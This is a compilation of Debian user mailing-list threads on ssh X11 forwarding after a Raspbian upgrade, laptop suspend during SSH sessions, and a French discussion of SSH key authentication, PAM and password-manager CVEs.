gnome-keyring-pkcs11/stable,now 42.1-1+b2 amd64 [installed,automatic]
gnome-keyring/stable,now 42.1-1+b2 amd64 [installed,automatic]
gpg-agent/stable,now 2.2.40-1.1 amd64 [installed,automatic]
libpam-gnome-keyring/stable,now 42.1-1+b2 amd64 [installed,automatic]
libpolkit-agent-1-0/stable,now 122-3 amd64 [installed,automatic]

Now, while typing this email all keyring PIDs have vanished!

$ ps ax -u nate | grep "agent\|keyring"
   2151 ?    Ssl0:00 /usr/libexec/gcr-ssh-agent /run/user/1000/gcr
   2157 ?Ss 0:00 ssh-agent -D -a /run/user/1000/openssh_agent
  22418 pts/0S+ 0:00 grep --color=auto agent\|keyring

I am flummoxed.

TIA

- Nate

-- 
"The optimist proclaims that we live in the best of all
possible worlds.  The pessimist fears this is true."
Web: https://www.n0nb.us
Projects: https://github.com/N0NB
GPG fingerprint: 82D6 4F6B 0E67 CD41 F689 BBA6 FB2C 5130 D55A 8819



signature.asc
Description: PGP signature

Re: Raspbian: After update from buster to bookworm, X11Forwarding in ssh connection stopped working

[B.M.]

On Montag, 7. August 2023 16:33:26 CEST you wrote:
> On Montag, 7. August 2023 15:19:49 CEST you wrote:
> > Dear all,
> >
> > I just dist-upgraded my Raspberry Pi from buster to bookworm, and while
> >
> > ssh -Y...
> >
> > worked like a charm in before the update and I could start any X11 program
> > over ssh, it doesn't work anymore since then. Executing
> >
> > ssh -Y -C -l myUser otherHostname.local -v
> >
> > I get
> >
> > ...
> > debug1: Requesting X11 forwarding with authentication spoofing.
> > debug1: Sending environment.
> > debug1: channel 0: setting env LANG = "en_US.UTF-8"
> > debug1: channel 0: setting env LC_MONETARY = "de_CH.UTF-8"
> > debug1: channel 0: setting env LC_MEASUREMENT = "de_CH.UTF-8"
> > debug1: channel 0: setting env LC_TIME = "de_CH.UTF-8"
> > debug1: channel 0: setting env LC_ALL = ""
> > debug1: channel 0: setting env LC_COLLATE = "C"
> > debug1: channel 0: setting env LC_NUMERIC = "de_CH.UTF-8"
> > X11 forwarding request failed on channel 0
> > ...
> >
> > From /etc/ssh/sshd_config on the server:
> >
> > AddressFamily inet
> > X11Forwarding yes
> > X11UseLocalhost no
> >
> > Interestingly, when connecting for the first time I got a warning:
> > WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!
> > and I did just
> > ssh-keygen -f "/home/xxx/.ssh/known_hosts" -R "otherHostname"
> > which I did.
> >
> > xauth is installed on the server.
> >
> > What can be the reason, that I cannot use X11 forwarding anymore?
> >
> > Thank you.
> >
> > Best,
> > Bernd
>
> Sorry, correction: I didn't upgrade from buster to bookworm but from
> bullseye.

Just for the record: I could solve the problem, and it was sitting somewhere
else...

It's a Raspberry Pi running Raspbian with full sd card encryption, and
headless. Therefore there is dropbear used as small ssh server during boot
(built into initramfs), later ssh-server is used. After the update, dropbear
was also running and my connections where to dropbear, not sshd. Disabling
dropbear therefore solved the problem and my configuration of sshd was
perfectly fine.

Re: Raspbian: After update from buster to bookworm,X11Forwarding in ssh connection stopped working

[Christian Britz]

gene heskett wrote:
> On 8/7/23 10:51, B.M. wrote:
>>> ssh -Y -C -l myUser otherHostname.local -v
>>>
> Is the @ sign between myUser and otherhostname now optional?

He uses option -l login_name, which can be used alternatively to
login_name@destination.

Re: Raspbian: After update from buster to bookworm,X11Forwarding in ssh connection stopped working

[gene heskett]

On 8/7/23 10:51, B.M. wrote:

On Montag, 7. August 2023 15:19:49 CEST you wrote:

Dear all,

I just dist-upgraded my Raspberry Pi from buster to bookworm, and while

ssh -Y...

worked like a charm in before the update and I could start any X11 program
over ssh, it doesn't work anymore since then. Executing

ssh -Y -C -l myUser otherHostname.local -v


Is the @ sign between myUser and otherhostname now optional?

I get

...
debug1: Requesting X11 forwarding with authentication spoofing.
debug1: Sending environment.
debug1: channel 0: setting env LANG = "en_US.UTF-8"
debug1: channel 0: setting env LC_MONETARY = "de_CH.UTF-8"
debug1: channel 0: setting env LC_MEASUREMENT = "de_CH.UTF-8"
debug1: channel 0: setting env LC_TIME = "de_CH.UTF-8"
debug1: channel 0: setting env LC_ALL = ""
debug1: channel 0: setting env LC_COLLATE = "C"
debug1: channel 0: setting env LC_NUMERIC = "de_CH.UTF-8"
X11 forwarding request failed on channel 0
...

 From /etc/ssh/sshd_config on the server:

AddressFamily inet
X11Forwarding yes
X11UseLocalhost no

Interestingly, when connecting for the first time I got a warning:
WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!
and I did just
ssh-keygen -f "/home/xxx/.ssh/known_hosts" -R "otherHostname"
which I did.

xauth is installed on the server.

What can be the reason, that I cannot use X11 forwarding anymore?

Thank you.

Best,
Bernd


Sorry, correction: I didn't upgrade from buster to bookworm but from bullseye.


.


Cheers, Gene Heskett.
--
"There are four boxes to be used in defense of liberty:
 soap, ballot, jury, and ammo. Please use in that order."
-Ed Howdershelt (Author, 1940)
If we desire respect for the law, we must first make the law respectable.
 - Louis D. Brandeis
Genes Web page <http://geneslinuxbox.net:6309/>

Re: Raspbian: After update from buster to bookworm, X11Forwarding in ssh connection stopped working

[B.M.]

On Montag, 7. August 2023 15:19:49 CEST you wrote:
> Dear all,
>
> I just dist-upgraded my Raspberry Pi from buster to bookworm, and while
>
> ssh -Y...
>
> worked like a charm in before the update and I could start any X11 program
> over ssh, it doesn't work anymore since then. Executing
>
> ssh -Y -C -l myUser otherHostname.local -v
>
> I get
>
> ...
> debug1: Requesting X11 forwarding with authentication spoofing.
> debug1: Sending environment.
> debug1: channel 0: setting env LANG = "en_US.UTF-8"
> debug1: channel 0: setting env LC_MONETARY = "de_CH.UTF-8"
> debug1: channel 0: setting env LC_MEASUREMENT = "de_CH.UTF-8"
> debug1: channel 0: setting env LC_TIME = "de_CH.UTF-8"
> debug1: channel 0: setting env LC_ALL = ""
> debug1: channel 0: setting env LC_COLLATE = "C"
> debug1: channel 0: setting env LC_NUMERIC = "de_CH.UTF-8"
> X11 forwarding request failed on channel 0
> ...
>
> From /etc/ssh/sshd_config on the server:
>
> AddressFamily inet
> X11Forwarding yes
> X11UseLocalhost no
>
> Interestingly, when connecting for the first time I got a warning:
> WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!
> and I did just
> ssh-keygen -f "/home/xxx/.ssh/known_hosts" -R "otherHostname"
> which I did.
>
> xauth is installed on the server.
>
> What can be the reason, that I cannot use X11 forwarding anymore?
>
> Thank you.
>
> Best,
> Bernd

Sorry, correction: I didn't upgrade from buster to bookworm but from bullseye.

Re: Raspbian: After update from buster to bookworm, X11Forwarding in ssh connection stopped working

[Christian Britz]

Hi Bernd

B.M. wrote:

I just dist-upgraded my Raspberry Pi from buster to bookworm, and while


This might very well be the reason for your problems. You should never 
skip a release, bullseye in this case. Upgrading directly from 
oldoldstable to stable will get you unpredictable results.


BTW, Raspian is slightly offtopic here, they have some own packages and 
different configurations than pure Debian.


I would recommend you to do a fresh installation and give Debian a 
chance. https://wiki.debian.org/RaspberryPi and 
https://raspi.debian.net/ are good starting points. There is also an IRC 
support channel: #debian-raspberrypi on OFTC.


Regards,
Christian
--
https://www.cb-fraggle.de

Raspbian: After update from buster to bookworm, X11Forwarding in ssh connection stopped working

[B.M.]

Dear all,

I just dist-upgraded my Raspberry Pi from buster to bookworm, and while

ssh -Y...

worked like a charm in before the update and I could start any X11 program
over ssh, it doesn't work anymore since then. Executing

ssh -Y -C -l myUser otherHostname.local -v

I get

...
debug1: Requesting X11 forwarding with authentication spoofing.
debug1: Sending environment.
debug1: channel 0: setting env LANG = "en_US.UTF-8"
debug1: channel 0: setting env LC_MONETARY = "de_CH.UTF-8"
debug1: channel 0: setting env LC_MEASUREMENT = "de_CH.UTF-8"
debug1: channel 0: setting env LC_TIME = "de_CH.UTF-8"
debug1: channel 0: setting env LC_ALL = ""
debug1: channel 0: setting env LC_COLLATE = "C"
debug1: channel 0: setting env LC_NUMERIC = "de_CH.UTF-8"
X11 forwarding request failed on channel 0
...

From /etc/ssh/sshd_config on the server:

AddressFamily inet
X11Forwarding yes
X11UseLocalhost no

Interestingly, when connecting for the first time I got a warning:
WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!
and I did just
ssh-keygen -f "/home/xxx/.ssh/known_hosts" -R "otherHostname"
which I did.

xauth is installed on the server.

What can be the reason, that I cannot use X11 forwarding anymore?

Thank you.

Best,
Bernd

Re: Prevent laptop from suspending when a user is logged in through SSH

[Michael Kjörling]

On 1 Aug 2023 21:30 +0200, from pipat...@gmail.com (Anders Andersson):
> Does anyone know the "correct" solution to this?

Might https://wiki.debian.org/Suspend#Systemd_timeouts be useful?

-- 
Michael Kjörling  https://michael.kjorling.se
“Remember when, on the Internet, nobody cared that you were a dog?”

Prevent laptop from suspending when a user is logged in through SSH

[Anders Andersson]

I just installed a plain debian 12.1 on my good old Thinkpad X200, my
first debian 12 install since I'm waiting for things to settle down
before I upgrade my other computers.

Going smooth so far and my first snag (after bug #1037304) is that it
just kicked me out of all my ssh sessions. Example from an active git
command that was aborted:

remote: Enumerating objects: 6944, done.
remote: Counting objects: 100% (6944/6944), done.
remote: Compressing objects:  73% (2131/2919)
Broadcast message from pipe@airwaves (Tue 2023-08-01 21:04:47 CEST):

The system will suspend now!

Timeout, server airwaves.computerwelt not responding.

At the time the laptop was on AC power and I was logged in as the
primary user in the default gnome session, but the laptop was sitting
idle except for my SSH sessions - all mostly active with aptitude, git
commands, text editing etc.

Does anyone know the "correct" solution to this? There's no difference
in activity for me hacking away in a terminal over SSH compared to a
terminal in a window on the laptop itself, so why isn't it registered
as "activity" for the automatic suspension?

Re: Authentification ssh et PAM

[RogerT]

> Le 21 juil. 2023 à 10:26, Michel Verdier  a écrit :
> 
> Le 19 juillet 2023 RogerT a écrit :
> 
>> La validation par le gouvernement n’est en rien une garantie (sgdg…). 
> 
> Bien sûr, mais c'est quand même un plus par rapport à rien du tout.

Ça ne vaut rien du tout. Rien.

> 
>> Pour Keepass, tu stockes ta BD où tu veux. Le problème était la possibilité 
>> d’exporter en clair les pwds :
>> https://www.it-connect.fr/faille-critique-dans-keepass-un-attaquant-peut-exporter-les-mots-de-passe-en-clair/
> 
> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-24055
> Celui-là concerne le client KeePass, d'autres clients comme KeePassXC ne
> sont pas touchés. Et ça concerne le paramétrage du client pas la
> base elle-même.
> 
>> Encore une nouvelle faille en 2023 : CVE-2023-35866
>> 19/07/2023
>> https://www.it-connect.fr/une-faille-de-securite-keepassxc-permet-de-changer-le-mot-de-passe-maitre-lediteur-conteste/
> 
> https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2023-35866
> Ca concerne KeePassXC mais il faut laisser la base ouverte en libre
> d'accès. A partir de là forcément n'importe quoi peut être fait sur la
> base et sans doute aussi sur le poste. Ce CVE est disputé.

C’est suffisamment grave et répété (pour d’autres gestionnaires de pwd) pour 
reconsidérer l’utilisation de ces passoires. 

« Disputed » : l’éditeur n’est pas d’accord. Ça ne veut rien dire d’autre 
(comme d’être partie à un procès dont on ignore l’issue). 
Avec des arguments pour keepass[xc] comme:
 « Oui, mais si un attaquant prend le contrôle de la machine alors il n’y a 
rien à faire » !!
 et « On ne peut pas faire de la sécurité en milieu non sûr » !!!
Ils sont fous ces gars !

Re: Authentification ssh et PAM

[Michel Verdier]

Le 19 juillet 2023 RogerT a écrit :

> La validation par le gouvernement n’est en rien une garantie (sgdg…). 

Bien sûr, mais c'est quand même un plus par rapport à rien du tout.

> Pour Keepass, tu stockes ta BD où tu veux. Le problème était la possibilité 
> d’exporter en clair les pwds :
> https://www.it-connect.fr/faille-critique-dans-keepass-un-attaquant-peut-exporter-les-mots-de-passe-en-clair/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-24055
Celui-là concerne le client KeePass, d'autres clients comme KeePassXC ne
sont pas touchés. Et ça concerne le paramétrage du client pas la
base elle-même.

> Encore une nouvelle faille en 2023 : CVE-2023-35866
> 19/07/2023
> https://www.it-connect.fr/une-faille-de-securite-keepassxc-permet-de-changer-le-mot-de-passe-maitre-lediteur-conteste/

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2023-35866
Ca concerne KeePassXC mais il faut laisser la base ouverte en libre
d'accès. A partir de là forcément n'importe quoi peut être fait sur la
base et sans doute aussi sur le poste. Ce CVE est disputé.

Re: Authentification ssh et PAM

[Vincent Lefevre]

On 2023-07-19 09:05:05 +0200, Michel Verdier wrote:
> Le 18 juillet 2023 roger tarani a écrit :
> > Quel est le mécanisme détaillé conduisant à l'authentification de 
> > l'utilisateur par l'hôte distant ? 
> > (la clef privée reste sur l'hôte local ; comment la clef publique et la 
> > clef privée sont-elles liées ? par la création d'un jeton ? ou autre ? ) 
> 
> La clef publique est indiquée au serveur lors de la demande de connexion.
> Le serveur s'en sert ensuite pour décrypter une phrase cryptée par le
> client avec sa clef privée.

Le chiffrage se fait avec la clé *publique* du destinataire. Mais
c'est HS ici, car il ne s'agit pas de chiffrer, mais d'authentifier,
qui est l'équivalent de vérifier une signature. Et la signature se
fait avec sa propre clé privée (et se vérifie avec la clé publique
associée).

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Re: Authentification ssh et PAM

[Jean Bernon]

Non je ne crois pas que ce soit des bijections inverses, sauf à s'entendre sur 
ce qu'on met derrière cette expression.

J'ai pioché la question du chiffrement il y a quelques années. Voici la petite 
synthèses que nous avions faite des principes de base. Elle ne répond pas à 
toutes questions de Roger. Mais elle peut aider à cadrer le débat.

Deux usages d'une paire de clés PGP dans l'échange de fichiers.

Premier usage : la paire de clés PGP permet de chiffrer / déchiffrer certains 
documents ou mails. Plus précisément, la clé publique sert au chiffrement et la 
clé privée au déchiffrement.

Deuxième usage : cette même paire de clés PGP peut aussi servir à signer 
électroniquement un mail (et à vérifier l’authenticité de la signature). Dans 
ce cas, la clé privée sert à signer et la clé publique à vérifier la signature.

Usages de GnuPG dans l'envoi d'un mail
Pourquoi ?  Qui ?   Comment ?
Chiffrement Expéditeur  Clé publique du destinataire
Déchiffrement   DestinataireClé privée du destinataire
Signature   Expéditeur  Clé privée de l'expéditeur
Vérification de la signatureDestinataireClé publique de l'expéditeur


- Mail original - 

> De: "elguero eric" 
> À: debian-user-french@lists.debian.org
> Envoyé: Mercredi 19 Juillet 2023 18:28:24
> Objet: Re: Authentification ssh et PAM

> pour moi crypter et décrypter ne sont que des mots
> et en réalité il s'agit de deux bijections inverses
> l'une de l'autre. donc on peut aussi bien dire qu'on commence
> par décrypter un message avant de l'envoyer et
> que le récipiendaire devra alors le crypter pour retrouver
> le message original. Ou l'inverse.

> e.e.

> Le mercredi 19 juillet 2023 à 18:08:00 UTC+2, Michel Verdier
>  a écrit :

> Le 19 juillet 2023 RogerT a écrit :

> > Après vérification, et sauf erreur ou omission de ma part, je
> > regrette
> > mais en cryptographie asymétrique, seule la clef privée permet de
> > DÉchiffrer.
> > Tandis que la clef publique permet à tout le monde de chiffrer un
> > message.

> Oui tu as raison, autant pour moi, ça fait du bien de relire les
> bases de
> temps en temps. Voilà une description assez claire :
> https://www.digitalocean.com/community/tutorials/understanding-the-ssh-encryption-and-connection-process

Re: Authentification ssh et PAM

[didier gaumet]

Le 20/07/2023 à 10:48, RogerT a écrit :
[...]

En pratique, si j’utilise une clef USB sans chiffrement ou avec chiffrement ou 
carrément un HSM, PAM est-il transparent à utiliser (cad qu’il suffit de 
configurer account, auth, password, session) ou faut-il trouver/développer un 
composant logiciel pour interagir avec chaque type ou modèle de HSM ?

[...]

Rappel: je suis nul en sécurité donc je réponds sur ce point uniquement 
(à l'exclusion de tes autres interrogations) et ma réponse est à prendre 
avec des pincettes


- pour une clé USB (au sens large ça semble considéré comme un HSM 
aussi?) apparemment il y a le module PAM USB et la commande pamusb-conf, 
une page du wiki Debian évoque ça:

https://wiki.debian.org/pamusb

- pour les HSM plus évolués de type smartcard, de mémoire, un lien 
Redhat précédent semblait indiquer un standard PKCS#11 avec parfois des 
périphériques devant rajouter un pilote propriétaire. Le wiki Debian a 
une page sur les smartcards où il évoque deux standards, openPGP ou PKSC#11:

https://wiki.debian.org/fr/Smartcards?highlight=%28pkcs%2311%29

Re: Authentification ssh et PAM

[RogerT]

> Le 20 juil. 2023 à 10:16, didier gaumet  a écrit :
> 
> Le 20/07/2023 à 09:25, Michel Verdier a écrit :
>> Le 19 juillet 2023 didier gaumet a écrit :
>>> Pour autant que ça s'applique ici, Wikipedia a une explication d'un 
>>> mécanisme
>>> d'autentification à clés asymétriques par l'utilisation d'un double
>>> chiffrement avec les deux clés publiques (celles de chaque partie):
>>> https://fr.wikipedia.org/wiki/Cryptographie_asym%C3%A9trique#M%C3%A9canismes_d'authentification
>> En français c'est mieux :)
>> On retrouve Alice et Bob. Et effectivement le dernier truc sur lequel je
>> travaillais c'est de l'authentification qui crypte avec la clef privée,
>> d'où mon inversion pour ssh.
> 
> Ah, c'est pas à moi que ça arriverait, ça: je ne me trompe jamais, qu'on se 
> le dise ;-)
> 
> D'ailleurs c'est à se demander quel phénomène occulte et maléfique est 
> intervenu pour corrompre et distordre mon message précédent, puisque à le 
> lire soigneusement ainsi que le lien qu'il cite, on s'aperçoit que je me suis 
> encore planté (c'est pas un double chiffrement par les deux clés publiques, 
> c'est un double chiffrement par la clé privée de l'émetteur puis la clé 
> publique du destinataire ;-)
> 
> Encore une preuve qu'il ne faut pas faire aveuglément confiance à un 
> contributeur mais valider l'exactitude et la pertinence de ses propos :-)
> 
Bonjour,
Il faut toujours vérifier. 
Ça me semblait bizarre de chiffrer avec les deux clefs publiques. 

En vérifiant, j’ai redécouvert le mécanisme que je connaissais de chiffrement 
d’un fichier par l’expérience avec la clef publique du destinataire. 
C’est un mécanisme pour assurer la confidentialité. 

En revérifiant, j’ai découvert le mécanisme de chiffrement d’un (hash de) 
fichier avec la clef privée de l’expéditeur, qui permet au destinataire de 
vérifier que l’expéditeur est bien celui qui le revendique. 
C’est un mécanisme d’authentification (par signature). 

Et si on combine les deux (chiffrement par l’expéditeur avec sa clef privée 
d’un hash du fichier et avec la clef publique du fichier, alors on obtient une 
communication confidentielle et authentifiée. 

On peut donc supposer que le client ssh envoie simplement au serveur un message 
signé avec sa clef privée. Et le serveur ssh qui a une copie de la clef 
publique peut vérifier que celui qui demande la connexion est celui qu’il dit 
être (authentification). 

Échanger ici a permis de mettre les idées au clair. 
Merci. 

PS : une fois cette authentification configurée, il faut penser impérativement 
à désactiver l’authentification par pwd ou bien avoir un fail2ban installé pour 
éviter des intrusions qu’on croirait devenues impossibles sans avoir la clef 
privée si longue (RSA 2048 ou 4096).


J’ai commencé à étudier PAM et ses fichiers de configuration. 

En pratique, si j’utilise une clef USB sans chiffrement ou avec chiffrement ou 
carrément un HSM, PAM est-il transparent à utiliser (cad qu’il suffit de 
configurer account, auth, password, session) ou faut-il trouver/développer un 
composant logiciel pour interagir avec chaque type ou modèle de HSM ?

Quelle est votre expérience pratique avec un HSM/une clef USB et PAM ?


PS : La question viendra ensuite de savoir quelle confiance on peut accorder à 
PAM en tant que « bus/slot/interface). Cad quelle garantie apporte-t-il de 
n’être pas un trou de sécurité ? 

Re: Authentification ssh et PAM

[Daniel Caillibaud]

Le 19/07/23 à 16:28, elguero eric  a écrit :
> pour moi crypter et décrypter ne sont que des mots

Mais les mots ont un sens ;-)

Et ici ce n'est pas le bon. En français, décrypter c'est déchiffrer un message 
dont on a pas la
clé de chiffrement (et crypter n'existe pas car ça n'a pas de sens, ça voudrait 
dire chiffrer
sans avoir la clé de chiffrement).

C'est pour ça qu'on parle de chiffrer / déchiffrer quand on code/décode un 
message en ayant la
clé.

En anglais, il n'y a pas de mot différent lorsqu'on a la clé ou pas, c'est 
toujours
encrypt/decrypt, d'où l'usage erroné très courant de crypter(sic)/décrypter en 
français.

-- 
Daniel

On tue un homme, on est un assassin.
On tue des millions d'hommes, on est un conquérant.
On les tue tous, on est un dieu.
Edmond Rostand

Re: Fwd: Authentification ssh et PAM

[didier gaumet]

Le 20/07/2023 à 09:25, Michel Verdier a écrit :

Le 19 juillet 2023 didier gaumet a écrit :


Pour autant que ça s'applique ici, Wikipedia a une explication d'un mécanisme
d'autentification à clés asymétriques par l'utilisation d'un double
chiffrement avec les deux clés publiques (celles de chaque partie):
https://fr.wikipedia.org/wiki/Cryptographie_asym%C3%A9trique#M%C3%A9canismes_d'authentification


En français c'est mieux :)
On retrouve Alice et Bob. Et effectivement le dernier truc sur lequel je
travaillais c'est de l'authentification qui crypte avec la clef privée,
d'où mon inversion pour ssh.


Ah, c'est pas à moi que ça arriverait, ça: je ne me trompe jamais, qu'on 
se le dise ;-)


D'ailleurs c'est à se demander quel phénomène occulte et maléfique est 
intervenu pour corrompre et distordre mon message précédent, puisque à 
le lire soigneusement ainsi que le lien qu'il cite, on s'aperçoit que je 
me suis encore planté (c'est pas un double chiffrement par les deux clés 
publiques, c'est un double chiffrement par la clé privée de l'émetteur 
puis la clé publique du destinataire ;-)


Encore une preuve qu'il ne faut pas faire aveuglément confiance à un 
contributeur mais valider l'exactitude et la pertinence de ses propos :-)

Re: Fwd: Authentification ssh et PAM

[Michel Verdier]

Le 19 juillet 2023 didier gaumet a écrit :

> Pour autant que ça s'applique ici, Wikipedia a une explication d'un mécanisme
> d'autentification à clés asymétriques par l'utilisation d'un double
> chiffrement avec les deux clés publiques (celles de chaque partie):
> https://fr.wikipedia.org/wiki/Cryptographie_asym%C3%A9trique#M%C3%A9canismes_d'authentification

En français c'est mieux :)
On retrouve Alice et Bob. Et effectivement le dernier truc sur lequel je
travaillais c'est de l'authentification qui crypte avec la clef privée,
d'où mon inversion pour ssh.

Re: Authentification ssh et PAM

[elguero eric]

pour moi crypter et décrypter ne sont que des mots
et en réalité il s'agit de deux bijections inverses
l'une de l'autre. donc on peut aussi bien dire qu'on commence
par décrypter un message avant de l'envoyer et
que le récipiendaire devra alors le crypter pour retrouver
le message original. Ou l'inverse.

e.e.



Le mercredi 19 juillet 2023 à 18:08:00 UTC+2, Michel Verdier  a 
écrit : 

Le 19 juillet 2023 RogerT a écrit :

> Après vérification, et sauf erreur ou omission de ma part, je regrette
> mais en cryptographie asymétrique, seule la clef privée permet de
> DÉchiffrer.
> Tandis que la clef publique permet à tout le monde de chiffrer un message. 


Oui tu as raison, autant pour moi, ça fait du bien de relire les bases de
temps en temps. Voilà une description assez claire :
https://www.digitalocean.com/community/tutorials/understanding-the-ssh-encryption-and-connection-process

Re: Authentification ssh et PAM

[RogerT]

> Le 19 juil. 2023 à 17:58, Michel Verdier  a écrit :
> 
> Le 19 juillet 2023 RogerT a écrit :
> 
 Ou alors il faut un gestionnaire de pwd pour stocker la phrase de passe…
>>> 
>>> Tout à fait, c'est à ça que sert kwallet ou gnome-agent ou keepassxc
>> Keepass[xc], etc.ne sont pas sûrs comme la plupart des gestionnaires de pwd 
>> qui ont tous déjà été attaqués. Y compris dashlane. Voir divers articles. 
> 
> keepass est validé par le gouvernement
> https://www.ssi.gouv.fr/entreprise/certification_cspn/keepass-version-2-10-portable/
> D'autres gestionnaires attaqués dont j'ai entendu parlé (1password, etc) 
> avaient du
> stockage en ligne, ce n'est pas le cas de keepass. As-tu les références 
> d'articles ?


La validation par le gouvernement n’est en rien une garantie (sgdg…). 
Pour Keepass, tu stockes ta BD où tu veux. Le problème était la possibilité 
d’exporter en clair les pwds :
https://www.it-connect.fr/faille-critique-dans-keepass-un-attaquant-peut-exporter-les-mots-de-passe-en-clair/

L’éditeur n’a pas craint d’affirmer :
« l'éditeur de KeePass estime que la base de données de mots de passe n'est pas 
censée être protégée contre un attaquant disposant déjà d'un accès local sur un 
PC. »

L’éditeur aurait aussi affirmé « on ne peut pas faire de la sécurité dans un 
environnement non sûr » !!! (j’ai lu ça ; je recherche la source). 

Encore une nouvelle faille en 2023 : CVE-2023-35866
19/07/2023
https://www.it-connect.fr/une-faille-de-securite-keepassxc-permet-de-changer-le-mot-de-passe-maitre-lediteur-conteste/
L’éditeur écrit :
 "Pour l'instant, nous ne prévoyons pas de modifier radicalement le programme 
pour répondre à cette demande." - Et aussi : "La solution la plus simple pour 
contrer ce vecteur de menace est de verrouiller votre base de données avant de 
quitter votre poste de travail."


Rappel : ne quittez pas votre poste en laissant la BD déverrouillée :
https://security.stackexchange.com/questions/115086/is-it-safe-to-leave-keepass-always-opened-on-a-computer
 

On attend la révélation des autres failles ou faiblesses…

Re: Authentification ssh et PAM

[Michel Verdier]

Le 19 juillet 2023 RogerT a écrit :

> Après vérification, et sauf erreur ou omission de ma part, je regrette
> mais en cryptographie asymétrique, seule la clef privée permet de
> DÉchiffrer.
> Tandis que la clef publique permet à tout le monde de chiffrer un message. 

Oui tu as raison, autant pour moi, ça fait du bien de relire les bases de
temps en temps. Voilà une description assez claire :
https://www.digitalocean.com/community/tutorials/understanding-the-ssh-encryption-and-connection-process

Re: Authentification ssh et PAM

[Michel Verdier]

Le 19 juillet 2023 RogerT a écrit :

>>> Ou alors il faut un gestionnaire de pwd pour stocker la phrase de passe…
>> 
>> Tout à fait, c'est à ça que sert kwallet ou gnome-agent ou keepassxc
> Keepass[xc], etc.ne sont pas sûrs comme la plupart des gestionnaires de pwd 
> qui ont tous déjà été attaqués. Y compris dashlane. Voir divers articles. 

keepass est validé par le gouvernement
https://www.ssi.gouv.fr/entreprise/certification_cspn/keepass-version-2-10-portable/
D'autres gestionnaires attaqués dont j'ai entendu parlé (1password, etc) 
avaient du
stockage en ligne, ce n'est pas le cas de keepass. As-tu les références 
d'articles ?

Re: Fwd: Authentification ssh et PAM

[didier gaumet]

Pour autant que ça s'applique ici, Wikipedia a une explication d'un 
mécanisme d'autentification à clés asymétriques par l'utilisation d'un 
double chiffrement avec les deux clés publiques (celles de chaque partie):

https://fr.wikipedia.org/wiki/Cryptographie_asym%C3%A9trique#M%C3%A9canismes_d'authentification

Fwd: Authentification ssh et PAM

[RogerT]

COMPLÉMENT

J’ai approfondi ma vérification. 

J’étais parti sur le seul schéma habituel : chiffrer avec la clef publique et 
déchiffrer avec la clef privée. 

Je crois que tu voulais parler de signature numérique, où Alice (ici le client 
ssh) chiffre avec sa clef privée probablement un message fourni par Bob (ici le 
serveur ssh). Bob « déchiffre le message d’Alice » avec la clef publique. Il 
est alors certain que ça vient d’Alice et lui ouvre la porte.
C’est ça ?

Il m’échappe encore un truc que je vais explorer : je ne comprends pas comment 
Bob peut déchiffrer avec la clef publique d’Alice un message d’Alice.
J’imagine qu’il s’agit en fait seulement de « vérifier que la signature 
provient d’Alice ». 
Je fouille dans ce sens.  
Peux-tu expliquer le procédé ?

Source :
« If Alice encrypts a message using her private key and sends the encrypted 
message to Bob, then Bob can be sure that the data he receives comes from 
Alice; if Bob can decrypt the data with Alice's public key, the message must 
have been encrypted by Alice with her private key, and only Alice has Alice's 
private key. The problem is that anybody else can read the message as well 
because Alice's public key is public. Although this scenario does not allow for 
secure data communication, it does provide the basis for digital signatures. »

https://www.ibm.com/docs/en/sdk-java-technology/8?topic=processes-public-key-cryptography


Début du message transféré :

> De: RogerT 
> Date: 19 juillet 2023 à 16:59:28 UTC+2
> À: debian-user-french@lists.debian.org
> Objet: Rép. : Authentification ssh et PAM
> 
> 
> 
>>> Le 19 juil. 2023 à 16:32, Michel Verdier  a écrit :
>>> Le 19 juillet 2023 RogerT a écrit :
>>> 
>>> Pour chiffrer une phrase il suffit de la clef publique. 
>>> Pour déchiffrer une phrase il faut la clef privée.
>> 
>> Non c'est l'inverse. C'est pour ça que seul toi a la privée et que tu
>> diffuses la publique à tous ceux qui doivent déchiffrer
> 
> Après vérification, et sauf erreur ou omission de ma part, je regrette mais 
> en cryptographie asymétrique, seule la clef privée permet de DÉchiffrer. 
> Tandis que la clef publique permet à tout le monde de chiffrer un message. 
> 
> En cas d’erreur de ma part, je te/vous remercie de m’expliquer en quoi je me 
> tromperais alors que c’est le premier cas de figure ultra connu entre Alice 
> et Bob pour échanger un secret (chiffré avec la clef publique et déchiffré 
> avec la seule clef privée). 
> 
>> 
>>> Le serveur a seulement la clef publique.  
>> 
>> Oui, tous les serveurs qui doivent te déchiffrer (= tous ceux sur
>> lesquels tu dois te connecter) ont la publique
> Le serveur distant a la clef publique que j’y ai copié. Mais pas pour 
> déchiffrer. Voir plus haut. Sauf erreur ou omission. 
> 
> 
>>> Le client a les deux clefs. 
>>> Seul le client peut déchiffrer une phrase chiffrée.
>> 
>> Non, seul le client peut chiffrer
> 
> Tous ceux qui ont la clef publique peuvent chiffrer. 
> Et aussi celui qui a seulement la clef privée car elle permet de générer une 
> clef publique (je suppose qu’on peut chiffrer aussi avec la clef privée)
> 
>> 
>>> Comment fait le serveur ssh pour savoir que c’est bien le détenteur de
>>> la clef privée qui frappe à la porte ?
>> 
>> Parce qu'il décode, avec la clef publique, une phrase chiffrée par le
>> client avec sa clef privée
> Toujours pas d’accord. 
> Peut-être as-tu un détail de la séquence entre client et serveur ?
> 
> 
>>>> L'idée c'est quand même d'y mettre un mot de passe pour avoir les 2
>>>> facteurs d'authentification.
>>> Ça enlève l’intérêt d’une authentification rapide.
>>> Ou alors il faut un gestionnaire de pwd pour stocker la phrase de passe…
>> 
>> Tout à fait, c'est à ça que sert kwallet ou gnome-agent ou keepassxc
> Keepass[xc], etc.ne sont pas sûrs comme la plupart des gestionnaires de pwd 
> qui ont tous déjà été attaqués. Y compris dashlane. Voir divers articles. 
> 
>> 
>>>> sur le client il faut utiliser le paramètre -i pour utiliser le clef adhoc
>>>> ou l'indiquer dans ~/.ssh/config du client. Donc il faut monter ta clef
>>>> pour qu'elle soit accessible par le client.
>>> Entendu.
>>> Modulo le nom du dev /dev/sdb …
